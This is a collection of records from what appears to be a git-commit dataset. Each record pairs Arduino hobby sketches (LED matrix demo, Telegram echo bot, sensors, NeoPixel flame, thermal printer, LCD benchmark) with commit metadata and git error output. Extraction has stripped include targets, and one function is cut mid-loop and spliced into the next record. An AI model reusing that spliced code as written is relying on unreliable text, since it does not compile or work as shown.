hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\/\n\n\/*\n * Arduino Emote Mod 8x8 Big Demo\n * This demo shows all of the modes and some possibilities of the EM 8x8.\n *\/\n\n#include \n\n\/* *** LOCAL PROTOTYPES *** *\/\nvoid sendMarqueeList( uint8_t* buf, uint8_t size);\nuint8_t makeHeader( uint8_t len );\n\n#define SLAVE_ADRS 0x60 \/\/ MUST match AVR chip I2C address\n\n\/* NOTE: ALL commands are a minimum of three bytes. LEN MOD CMD .. .. *\/\n\n#define MOD_EM_SERVICE_ID 0x20\n\n#define MES_SET_ICON 0x01\n#define MES_SET_ICON_LEN 4\n\n#define MES_LOAD_ICON 0x02\n#define MES_LOAD_ICON_LEN 11\n\n#define MES_SEL_MARQUEE 0x40\n#define MES_SEL_MARQUEE_LEN 3\n\n#define MES_SET_KERNING 0x41\n#define MES_SET_KERNING_LEN 4\n\n#define MES_SET_CONT_FLAG 0x42\n#define MES_SET_CONT_FLAG_LEN 4\n\n#define MES_SET_RATE 0x43\n#define MES_SET_RATE_LEN 4\n\n#define MES_LOAD_MSERIES 0x44\n#define MES_LOAD_MSERIES_LEN 3\n\ntypedef struct ANIM_DATA {\n uint8_t icon;\n uint16_t displayTime;\n} ANIM_ELEMENT;\n\nint slave = SLAVE_ADRS; \/\/ has to be an int.\nbyte count = 0; \/\/ simple counter\nuint8_t demoState;\nbool scanState = true; \/\/ toggle state to change direction of scan\nunsigned long waitTime;\nunsigned long lastTime;\nuint8_t animState;\n\nuint8_t outBuff[20];\n\n\/\/ ICON buffer\nuint8_t iconBuf[8] = {\n 0b00000000,\n 0b00000000,\n 0b00000000,\n 0b00000000,\n 0b00000000,\n 0b00000000,\n 0b00000000,\n 0b00000000\n};\n\n\n\/\/ Animation lists\nANIM_ELEMENT animListL[] = {\n { 0, 500}, \/\/ normal eye..wait here for .5 seconds\n {20, 200},\n {13, 200},\n {14, 200},\n {15, 200},\n {16, 200},\n {17, 200},\n {18, 200},\n {19, 200},\n {20, 200}\n};\n\nANIM_ELEMENT animListW[8] = {\n { 0, 2500}, \/\/ normal eye..wait here for 2.5 seconds\n {12, 20}, \/\/ close1\n {11, 20},\n {10, 20},\n { 9, 20}, \/\/ closed\n {10, 20},\n {11, 20},\n {12, 20}\n};\n\n\/\/ Marquee lists\nuint8_t icons09[] = { 32, 57, 56, 55, 54, 53, 52, 51, 50, 49, 48, 32 };\nuint8_t iconsAM[] = { 32, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77 };\nuint8_t iconsNZ[] = { 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 32 };\n\nvoid setup()\n{\n Wire.begin(); \/\/ join i2c bus\n demoState = 5;\n count = 0;\n lastTime = 0;\n animState = 0;\n waitTime = 1000;\n}\n\nvoid loop()\n{\n int cmdLen;\n int row;\n unsigned long time;\n uint8_t icon;\n\n switch( demoState )\n {\n case 0: \/\/ Random\n \/\/ Update icon\n for( row=0; row<8; ++row )\n {\n iconBuf[row] = (byte)random(++count);\n }\n \/\/ Send CMD to Slave.\n outBuff[0] = makeHeader( MES_LOAD_ICON_LEN-3 );\n outBuff[1] = MOD_EM_SERVICE_ID;\n outBuff[2] = MES_LOAD_ICON;\n for( row = 0; row<8; ++row ) {\n outBuff[row+3] = iconBuf[row];\n }\n cmdLen = MES_LOAD_ICON_LEN;\n Wire.beginTransmission(slave); \/\/ transmit to Slave. Have to do this each time.\n Wire.write(outBuff, cmdLen); \/\/ sends device ID and data\n Wire.endTransmission(); \/\/ complete transmit\n delay(200);\n\n if(++count > 450)\n {\n count = 0;\n demoState = 1;\n for(row=0; row<8; ++row)\n iconBuf[row] = 0;\n }\n break;\n\n case 1: \/\/ Scan 1\n \/\/ Update icon\n if( scanState )\n {\n iconBuf[3] <<= 1;\n if( iconBuf[3] == 0 )\n {\n iconBuf[3] = 0x80;\n scanState = !scanState;\n }\n }\n else\n {\n iconBuf[3] >>= 1;\n if( iconBuf[3] == 0 )\n {\n iconBuf[3] = 0x01;\n scanState = !scanState;\n }\n }\n \/\/ Send CMD to Slave.\n outBuff[0] = makeHeader( MES_LOAD_ICON_LEN-3 );\n outBuff[1] = MOD_EM_SERVICE_ID;\n outBuff[2] = MES_LOAD_ICON;\n for( row = 0; row<8; ++row ) {\n outBuff[row+3] = iconBuf[row];\n }\n cmdLen = MES_LOAD_ICON_LEN;\n Wire.beginTransmission(slave); \/\/ transmit to Slave. Have to do this each time.\n Wire.write(outBuff, cmdLen); \/\/ sends device ID and data\n Wire.endTransmission(); \/\/ complete transmit\n delay(200);\n\n if(++count > 50)\n {\n count = 0;\n demoState = 2;\n }\n break;\n\n case 2: \/\/ Scan 8\n \/\/ Update icon\n if( scanState )\n {\n for( row=0; row<8; ++row )\n iconBuf[row] <<= 1;\n if( iconBuf[3] == 0 )\n {\n for( row=0; row<8; ++row )\n iconBuf[row] = 0x80;\n scanState = !scanState;\n }\n }\n else\n {\n for( row=0; row<8; ++row )\n iconBuf[row] >>= 1;\n if( iconBuf[3] == 0 )\n {\n for( row=0; row<8; ++row )\n iconBuf[row] = 0x01;\n scanState = !scanState;\n }\n }\n \/\/ Send CMD to Slave.\n outBuff[0] = makeHeader( MES_LOAD_ICON_LEN-3 );\n outBuff[1] = MOD_EM_SERVICE_ID;\n outBuff[2] = MES_LOAD_ICON;\n for( row = 0; row<8; ++row ) {\n outBuff[row+3] = iconBuf[row];\n }\n cmdLen = MES_LOAD_ICON_LEN; \n Wire.beginTransmission(slave); \/\/ transmit to Slave. Have to do this each time.\n Wire.write(outBuff, cmdLen); \/\/ sends device ID and data\n Wire.endTransmission(); \/\/ complete transmit\n delay(200);\n if(++count > 50)\n {\n count = 0;\n demoState = 3;\n }\n break;\n\n case 3: \/\/ Animation Loop\n \/\/ check timer\n time = millis();\n \n if( (time - lastTime) > waitTime )\n {\n lastTime = time;\n\n \/\/ Get Icon to display\n icon = animListL[ animState ].icon;\n \/\/ Get duration to display it.\n waitTime = (unsigned long)animListL[ animState ].displayTime;\n \n if( ++animState >= (sizeof(animListL)\/sizeof(ANIM_ELEMENT)) )\n {\n animState = 0;\n }\n \/\/ Send SET CMD to Slave.\n outBuff[0] = makeHeader( MES_SET_ICON_LEN-3 );\n outBuff[1] = MOD_EM_SERVICE_ID;\n outBuff[2] = MES_SET_ICON;\n outBuff[3] = icon;\n cmdLen = MES_SET_ICON_LEN;\n Wire.beginTransmission(slave); \/\/ transmit to Slave. Have to do this each time.\n Wire.write(outBuff, cmdLen); \/\/ sends device ID and data\n Wire.endTransmission(); \/\/ complete transmit\n if(++count > 50)\n {\n count = 0;\n demoState = 4;\n animState = 0;\n }\n }\n break;\n \n case 4: \/\/ Animation Wink\n \/\/ check timer\n time = millis();\n \n if( (time - lastTime) > waitTime )\n {\n lastTime = time;\n\n \/\/ Get Icon to display\n icon = animListW[ animState ].icon;\n \/\/ Get duration to display it.\n waitTime = (unsigned long)animListW[ animState ].displayTime;\n \n if( ++animState >= (sizeof(animListW)\/sizeof(ANIM_ELEMENT)) )\n {\n animState = 0;\n }\n \/\/ Send SET CMD to Slave.\n outBuff[0] = makeHeader( MES_SET_ICON_LEN-3 );\n outBuff[1] = MOD_EM_SERVICE_ID;\n outBuff[2] = MES_SET_ICON;\n outBuff[3] = icon;\n cmdLen = MES_SET_ICON_LEN;\n Wire.beginTransmission(slave); \/\/ transmit to Slave. Have to do this each time.\n Wire.write(outBuff, cmdLen); \/\/ sends device ID and data\n Wire.endTransmission(); \/\/ complete transmit\n if(++count > 50)\n {\n count = 0;\n demoState = 5;\n }\n }\n break;\n\n case 5:\n sendMarqueeList( icons09, sizeof(icons09) );\n delay(8000);\n sendMarqueeList( iconsAM, sizeof(iconsAM) );\n delay(10055);\n sendMarqueeList( iconsNZ, sizeof(iconsNZ) );\n delay(12000);\n\/\/ demoState = 0;\n break;\n }\n\n}\n\n\/*\n * Send Marquee list\n *\/\nvoid sendMarqueeList( uint8_t* buf, uint8_t size)\n{\n uint8_t index;\n int cmdLen;\n\n cmdLen = MES_LOAD_MSERIES_LEN+size;\n \/\/ Load Marquee icon series.\n outBuff[0] = makeHeader( cmdLen-3 );\n outBuff[1] = MOD_EM_SERVICE_ID;\n outBuff[2] = MES_LOAD_MSERIES;\n for( index=0; index\n#include \n#include \n\n\n\n\/\/ Initialize Wifi connection to the router\nconst char* ssid = \"xxxx\";\nconst char* password = \"yyyy\";\n\n\n\/\/ Initialize Telegram BOT\nconst char BotToken[] = \"zzzz\";\n\nWiFiClientSecure net_ssl;\nTelegramBot bot (BotToken, net_ssl);\n\n\nvoid setup() {\n\n Serial.begin(115200);\n while (!Serial);\n\n \/\/ attempt to connect to Wifi network:\n Serial.print(\"Connecting Wifi: \");\n WiFi.begin(ssid, password);\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n\n\n bot.begin();\n\n}\n\nvoid loop() {\n \n\n message m = bot.getUpdates(); \/\/ Read new messages\n if ( m.chat_id != 0 ){ \/\/ Checks if there are some updates\n Serial.println(m.text);\n bot.sendMessage(m.chat_id, m.text); \/\/ Reply to the same chat with the same text\n } else {\n Serial.println(\"no new message\");\n }\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/EchoBot-ESP8266\/EchoBot-ESP8266.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"04c9c795b1ac987c7b9f2a309a7e2d5fe8ec5a8e","subject":"Initial implementation of a SYNC protocol","message":"Initial implementation of a SYNC protocol\n","repos":"freespace\/xadow-watch,freespace\/xadow-watch","old_file":"sync.ino","new_file":"sync.ino","new_contents":"#define SYNC_TEXT_COLOR (COLOR_WHITE)\n\n#define SYNC_DELIMITER ';'\n\nvoid sync_init() {\n}\n\nvoid sync_abort(char *msg) {\n Serial.print(\"SYNC aborted:\");\n Serial.println(msg);\n}\n\n\/**\n * Checks serial connection for start of sync.\n *\n * Sync protocol uses ; as delimiter, and is as follows:\n *\n * The characters SYNC is sent, followed by ;\n *\n * SYNC;\n *\n * Then 3 integers separated by ; are sent representing the current hour,\n * minute, and second\n *\n * 5;32;22;\n *\n * Then 4 integers, separated by ; are sent representing the current year,\n * month, and day of month, and whether the current year is a leap year\n *\n * 2015;05;03;0;\n *\n * Termination of sync is denoted by END\n *\n * END;\n *\n * White spaces may be inserted before\/after ; and will be ignored. E.g.\n *\n * 2015; 05; 03;0\n *\n * is valid.\n *\/ \nvoid sync_listen() {\n uint8_t readpos = 0;\n for (readpos = 0; Serial.available() && readpos < sizeof(_sbuf)-1; ++readpos) {\n _sbuf[readpos] = Serial.read();\n }\n\n if (readpos == 0) return;\n \n _sbuf[readpos] = '\\0';\n\n if (strstr(_sbuf, \"SYNC;\") == _sbuf) {\n \/\/ we have start of sync, yay\n char *sptr = _sbuf+5;\n Serial.println(\"Starting SYNC\");\n } else sync_abort(\"SYNC; expected\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sync.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d86fde9e8a23f23359692243f9f7631c5d00032f","subject":"what is the problem??","message":"what is the problem??\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/TMC43x.ino","new_file":"ArduinoClient\/TMC43x.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"022417558e8ab93516e98a64143eabd1b95a0cf3","subject":"start writing main...Good Luck","message":"start writing main...Good Luck\n","repos":"lushl9301\/Yellow-SubArena","old_file":"main.ino","new_file":"main.ino","new_contents":"#include \"SharpA21.h\" \/\/ Short-distance\n#include \"SharpA02.h\" \/\/ Long-distance\n#include \"URM37.h\" \/\/ Ultrasonic\n#include \"HMC5883L.h\" \/\/ Digital Compass\n#include \"Speed.h\" \/\/ Set Speed\n#include \"Cornering.h\" \/\/ Turning\n\n#define urPWM_F 1\n#define urTRIG_F 2\n\n#define urPWM_L 3\n#define urTRIG_L 4\n\n#define urPWM_R 5\n#define urTRIG_R 6\n\n#define motor_L A0\n#define motor_R A1\n\n\/**********************\/\n#define shortIR_LF_in A2\n#define shortIR_LR_in A3\n#define longIR_F_in A4\n\/**********************\/\nURM37 u_F, u_L, u_R;\nSharpA02 longIR_F;\nSharpA21 shortIR_LF, shortIR_LR;\n\nMotorShield md;\nSpeed sp;\nCornering cn;\n\nvoid setPinsMode() {\n \/\/analog pins no need\n \/\/digital pins are set in URM37.h\n}\n\nvoid setup() {\n \n Serial.begin(9600);\n setPinsMode(); \/\/ not sure yet\n\n \/\/set up motor\n md.init();\n sp.init(md);\n cn.init(md);\n delay(10);\n \n \/\/set up 3 Ultrasonic\n u_F.init(urPWM_F, urTRIG_F);\n u_L.init(urPWM_L, urTRIG_L);\n u_R.init(urPWM_R, urTRIG_R);\n delay(10);\n \n \/\/set up IR sensor\n shortIR_LR.init(shortIR_LR_in);\n shortIR_LF.init(shortIR_LF_in);\n longIR_F.init(longIR_F_in);\n delay(10);\n while (!Serial.available() || Serial.read() != 'S') {\n delay(10);\n }\n}\n\nvoid loop() {\n\n}\n\nvoid stopIfFault() {\n if (md.getM1Fault()) {\n Serial.println(\"M1 fault\");\n while(1);\n }\n if (md.getM2Fault()) {\n Serial.println(\"M2 fault\");\n while(1);\n }\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a1d09e8b6924df21ca6e956dfc38c3d54f9df9af","subject":"Added toggle button mode. (Tim)","message":"Added toggle button mode. (Tim)\n","repos":"stewartadam\/lulzsaber","old_file":"strip\/strip.ino","new_file":"strip\/strip.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/stewartadam\/lulzsaber.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"bf100994ad270f4e6731be8f69d2b5fda34c447a","subject":"bluetooth sketch","message":"bluetooth sketch\n","repos":"mletunov\/SmartOffice,mletunov\/SmartOffice,mletunov\/SmartOffice,mletunov\/SmartOffice,mletunov\/SmartOffice,mletunov\/SmartOffice","old_file":"controllers\/bluetooth_dht\/bluetooth_dht.ino","new_file":"controllers\/bluetooth_dht\/bluetooth_dht.ino","new_contents":"#include \n#include \"DHT.h\"\n\nSoftwareSerial blueSerial(10, 11); \/\/ RX, TX\nDHT dht(2, DHT22);\n\nvoid setup() {\n Serial.begin(9600);\n blueSerial.begin(9600);\n\n dht.begin();\n}\n\nvoid loop() {\n float temperature = dht.readTemperature();\n float humidity = dht.readHumidity(); \n\n String json = \"{temp:\" + String(temperature) + \",hum:\" + String(humidity) + \"}\";\n Serial.println(json);\n blueSerial.println(json);\n delay(3000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'controllers\/bluetooth_dht\/bluetooth_dht.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"56e33ac8c796a66a67dc28349ec2b9b25ee2bf08","subject":"Create btSerial.ino","message":"Create btSerial.ino","repos":"michalmonday\/supremeDuck,michalmonday\/supremeDuck","old_file":"source\/bluetooth customization\/btSerial.ino","new_file":"source\/bluetooth customization\/btSerial.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'source\/bluetooth' did not match any file(s) known to git\nerror: pathspec 'customization\/btSerial.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"58ee82094a720df03a0d795a264b886d33dff700","subject":"Create RibbonLEDs.ino","message":"Create RibbonLEDs.ino\n\nPrototype version of ribbon plaque fire effect","repos":"teddylambert\/mHubNeopixels","old_file":"RibbonLEDs.ino","new_file":"RibbonLEDs.ino","new_contents":"#include \n#ifdef __AVR__\n #include \n#endif\n\n#define PIN 6\n\n\/\/ The overall fire brightness\n\/\/ (this can affect both color levels and power consumption)\nint brightness = 225;\n\nstruct RGB {\n byte r;\n byte g;\n byte b;\n};\n\n\/\/ The flame color array (the first is the default):\nRGB flameColors[] = {\n { 255, 95, 0}, \/\/ Orange flame\n { 226, 15, 30} \/\/ Red flame\n };\n\n\/\/ Number of flame colors\nint NUMBER_OF_COLORS = sizeof(flameColors) \/ sizeof(RGB);\n\n\/\/ Tracks the current color\nint currentColorIndex = 0;\n\n\/\/ Parameter 1 = number of pixels in strip\n\/\/ Parameter 2 = Arduino pin number (most are valid)\n\/\/ Parameter 3 = pixel type flags, add together as needed:\n\/\/ NEO_KHZ800 800 KHz bitstream (most NeoPixel products w\/WS2812 LEDs)\n\/\/ NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)\n\/\/ NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)\n\/\/ NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(74, PIN, NEO_GRB + NEO_KHZ800);\n\n\/\/ IMPORTANT: To reduce NeoPixel burnout risk, add 1000 uF capacitor across\n\/\/ pixel power leads, add 300 - 500 Ohm resistor on first pixel's data input\n\/\/ and minimize distance between Arduino and first pixel. Avoid connecting\n\/\/ on a live circuit...if you must, connect GND first.\n\/\/ For the ultimate NeoPixel guide, check out:\n\/\/ https:\/\/learn.adafruit.com\/adafruit-neopixel-uberguide\/overview\n\nvoid setup() {\n strip.begin();\n strip.setBrightness(brightness);\n strip.show(); \/\/ Initialize all pixels to 'off'\n}\n\nvoid loop() {\n \/\/ Get the current colors based on the color index:\n RGB currentColor = flameColors[currentColorIndex];\n\n \/\/ Flicker, based on our initial RGB values\n for(int i=4; i<13; i++) { \n int flicker = random(0,85);\n int r1 = currentColor.r-flicker;\n int g1 = currentColor.g-flicker;\n int b1 = currentColor.b-flicker;\n if(g1<0) g1=0;\n if(r1<0) r1=0;\n if(b1<0) b1=0;\n strip.setPixelColor(i,r1,g1, b1);\n }\n \/* for(int g=18; g<27; g++) {\n int flicker = random(0,55);\n int r1 = currentColor.r-flicker;\n int g1 = currentColor.g-flicker;\n int b1 = currentColor.b-flicker;\n if(g1<0) g1=0;\n if(r1<0) r1=0;\n if(b1<0) b1=0;\n strip.setPixelColor(g,r1,g1, b1);\n }\n *\/ \n strip.show();\n\n \/\/ Adjust the delay here, if you'd like. Right now, it randomizes the \n \/\/ color switch delay to give a sense of realism\n delay(random(10,45));\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'RibbonLEDs.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c8d80370b0c3e07cff62c736a294d1a4df3e51bb","subject":"Don't set backlight all the time.","message":"Don't set backlight all the time.","repos":"lgramatikov\/celeste","old_file":"TempSensor.ino","new_file":"TempSensor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lgramatikov\/celeste.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"bbc7c9755404389d426d8714f7c8b05232efe6a1","subject":"Create Serial_printer.ino","message":"Create Serial_printer.ino","repos":"MCUdude\/Parallel-Thermal-Printer","old_file":"examples\/Serial_printer\/Serial_printer.ino","new_file":"examples\/Serial_printer\/Serial_printer.ino","new_contents":"\/*\n These commands will NOT work with the Arduino serial\n monitor. You'll need to use a dedicated Terminal program\n such as Tera Term or CoolTerm.\n \n Bold -> Ctrl + b -> ASCII char no. 2\n Clear -> Ctrl + c -> ASCII char no. 3\n Invert text -> Ctrl + f -> ASCII char no. 6\n Draw line -> Ctrl + l -> ASCII char no. 12\n Font ++ -> Ctrl + m -> ASCII char no. 13\n Font -- -> Ctrl + n -> ASCII char no. 14\n Strike through -> Ctrl + s -> ASCII char no. 19\n Cut paper -> Ctrl + x -> ASCII char no. 24\n*\/\n\n#include \"Printer.h\"\n\n\n\/\/ Parallel data pins\nuint8_t dataBit7 = 13\nuint8_t dataBit6 = 12\nuint8_t dataBit5 = 11\nuint8_t dataBit4 = 10\nuint8_t dataBit3 = 9\nuint8_t dataBit2 = 8\nuint8_t dataBit1 = 7\nuint8_t dataBit0 = 6\n\n\/\/ Control pins\nuint8_t strobe = 5;\nuint8_t busy = 4;\nuint8_t select = 3;\n\n\n\/**** Constructor where pin 6 - 13 is used to send the data ****\/\nPrinter Thermal(dataBit7, dataBit6, dataBit5, dataBit4, dataBit3, dataBit2, dataBit1, dataBit0, strobe, busy, select, MSBFIRST);\n\n\/**** Constructor where pin 6 - 13 is used to send the data, but the pins are flipped ****\/\n\/\/Printer Thermal(dataBit0, dataBit1, dataBit2, dataBit3, dataBit4, dataBit4, dataBit6, dataBit7, strobe, busy, select, LSBFIRST);\n\n\n\/**** Constructor where PORTC is used to send the data. Remember to set the port as output in the setup()****\/\n\/\/Printer thermal(&PORTC, strobe, busy, select);\n\n\/**** Constructor where PORTC is used to send the data and the bit order are flipped. Remember to set the port as output in the setup() ****\/\n\/\/Printer thermal(&PORTC, strobe, busy, select, LSBFIRST);\n\n\n\nvoid setup()\n{\n \/\/DDRC = 0xFF; \/\/ Set port C as output\n\n \/\/ Start the printer and the serial port\n Thermal.begin(&Serial, 19200); \/\/ Serial object, baudrate\n}\n\n\n\nvoid loop() \n{\n \/\/ Receive the serial data and output it on the printer\n Thermal.getSerialData();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Serial_printer\/Serial_printer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3e04a99eab74a8a3517ee9321c1c7ccf19c4d381","subject":"Adding an LCD benchmark for the drivers and iostream handling.","message":"Adding an LCD benchmark for the drivers and iostream handling.\n","repos":"rrobinet\/Cosa,dansut\/Cosa,dansut\/Cosa,SinishaDjukic\/Meshwork,SinishaDjukic\/Meshwork,mikaelpatel\/Cosa,SinishaDjukic\/Meshwork,kc9jud\/Cosa,SinishaDjukic\/Meshwork,kc9jud\/Cosa,jeditekunum\/Cosa,mikaelpatel\/Cosa,mikaelpatel\/Cosa,dansut\/Cosa,kc9jud\/Cosa,jeditekunum\/Cosa,kc9jud\/Cosa,jeditekunum\/Cosa,rrobinet\/Cosa,dansut\/Cosa,rrobinet\/Cosa,jeditekunum\/Cosa,rrobinet\/Cosa,mikaelpatel\/Cosa","old_file":"examples\/LCD\/CosaLCDspeed\/CosaLCDspeed.ino","new_file":"examples\/LCD\/CosaLCDspeed\/CosaLCDspeed.ino","new_contents":"\/**\n * @file CosaLCDspeed.ino\n * @version 1.0\n *\n * @section License\n * Copyright (C) 2013, Mikael Patel\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n * \n * @section Description\n * Benchmarking the LCD device drivers.\n * \n * This file is part of the Arduino Che Cosa project.\n *\/\n\n#include \"Cosa\/Watchdog.hh\"\n#include \"Cosa\/Trace.hh\"\n\n\/\/ Select the LCD device for the benchmark\n#include \"Cosa\/LCD\/Driver\/HD44780.hh\"\n\/\/ HD44780::MJKDZ port;\n\/\/ HD44780::DFRobot port;\n\/\/ HD44780 lcd(&port, 20, 4);\nHD44780::Port port;\nHD44780 lcd(&port);\n\n\/\/ #include \"Cosa\/LCD\/Driver\/PCD8544.hh\"\n\/\/ PCD8544 lcd;\n\n\/\/ #include \"Cosa\/LCD\/Driver\/ST7565.hh\"\n\/\/ ST7565 lcd;\n\n#undef putchar\n\n\/\/ Benchmarks\ntypedef void (*benchmark_t)(uint16_t);\nvoid clear_display(uint16_t nr);\nvoid write_char(uint16_t nr);\nvoid write_str(uint16_t nr);\nvoid write_pstr(uint16_t nr);\nvoid write_dec_uint16(uint16_t nr);\nvoid write_bin_uint16(uint16_t nr);\n\n\/\/ Measurement support\nvoid measure(const char* name, benchmark_t fn, uint16_t nr);\n#define MEASURE(fn,nr) measure(PSTR(#fn),fn,nr)\n\nvoid setup()\n{\n Watchdog::begin();\n lcd.begin();\n trace.begin(&lcd, PSTR(\"CosaLCDspeed:\"));\n SLEEP(1);\n}\n\nvoid loop()\n{\n MEASURE(clear_display, 100);\n SLEEP(4);\n MEASURE(write_char, 100);\n SLEEP(4);\n MEASURE(write_str, 1000);\n SLEEP(4);\n MEASURE(write_pstr, 1000);\n SLEEP(4);\n MEASURE(write_dec_uint16, 10000);\n SLEEP(4);\n MEASURE(write_bin_uint16, 10000);\n SLEEP(4);\n}\n\nvoid clear_display(uint16_t nr)\n{\n while (nr--)\n lcd.display_clear();\n}\n\nvoid write_char(uint16_t nr)\n{\n \/\/ Calculate width and height in characters (and not pixels)\n#ifdef __COSA_LCD_DRIVER_HD44780_HH__\n uint8_t HEIGHT = lcd.HEIGHT;\n uint8_t WIDTH = lcd.WIDTH;\n#else\n uint8_t HEIGHT = lcd.LINES;\n uint8_t WIDTH = lcd.WIDTH \/ lcd.get_text_font()->get_width(' ');\n#endif\n while (nr--) {\n lcd.set_cursor(0, 0);\n for (uint8_t height = 0; height < HEIGHT; height++)\n for (uint8_t width = 0; width < WIDTH; width++)\n\tlcd.putchar(' ' + (nr & 0x1f));\n }\n}\n\nvoid write_str(uint16_t nr)\n{\n while (nr--) {\n lcd.set_cursor(0, 1);\n lcd.puts(\"1234567890123456\");\n lcd.set_cursor(0, 1);\n lcd.puts(\"ABCDEFGHIJKLMNOP\");\n }\n}\n\nvoid write_pstr(uint16_t nr)\n{\n while (nr--) {\n lcd.set_cursor(0, 1);\n lcd.puts_P(PSTR(\"1234567890123456\"));\n lcd.set_cursor(0, 1);\n lcd.puts_P(PSTR(\"ABCDEFGHIJKLMNOP\"));\n }\n}\n\nvoid write_dec_uint16(uint16_t nr)\n{\n while (nr--) {\n lcd.set_cursor(0, 1);\n trace << nr;\n }\n}\n\nvoid write_bin_uint16(uint16_t nr)\n{\n while (nr--) {\n lcd.set_cursor(0, 1);\n trace << bin << nr;\n }\n}\n\nvoid measure(const char* name, benchmark_t fn, uint16_t nr)\n{\n lcd.display_clear();\n lcd.puts_P(name);\n uint32_t start = Watchdog::millis();\n fn(nr);\n uint32_t ms = Watchdog::millis() - start;\n lcd.display_clear();\n lcd.puts_P(name);\n trace << endl;\n trace << (nr * 1000L) \/ ms << PSTR(\"\/s, \");\n trace << (ms * 1000L) \/ nr << PSTR(\" us\");\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/LCD\/CosaLCDspeed\/CosaLCDspeed.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"5e70c1b90859dd264aee9ce37383628d7e10f07f","subject":"v1.01 files added","message":"v1.01 files added\n","repos":"KmanOz\/Sonoff-HomeAssistant","old_file":"arduino\/ESPsonoff-v1.01p\/ESPsonoff-v1.01p.ino","new_file":"arduino\/ESPsonoff-v1.01p\/ESPsonoff-v1.01p.ino","new_contents":"\/*\n\n Copyright (c) 2017 @KmanOz\n \n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included in all\n copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION 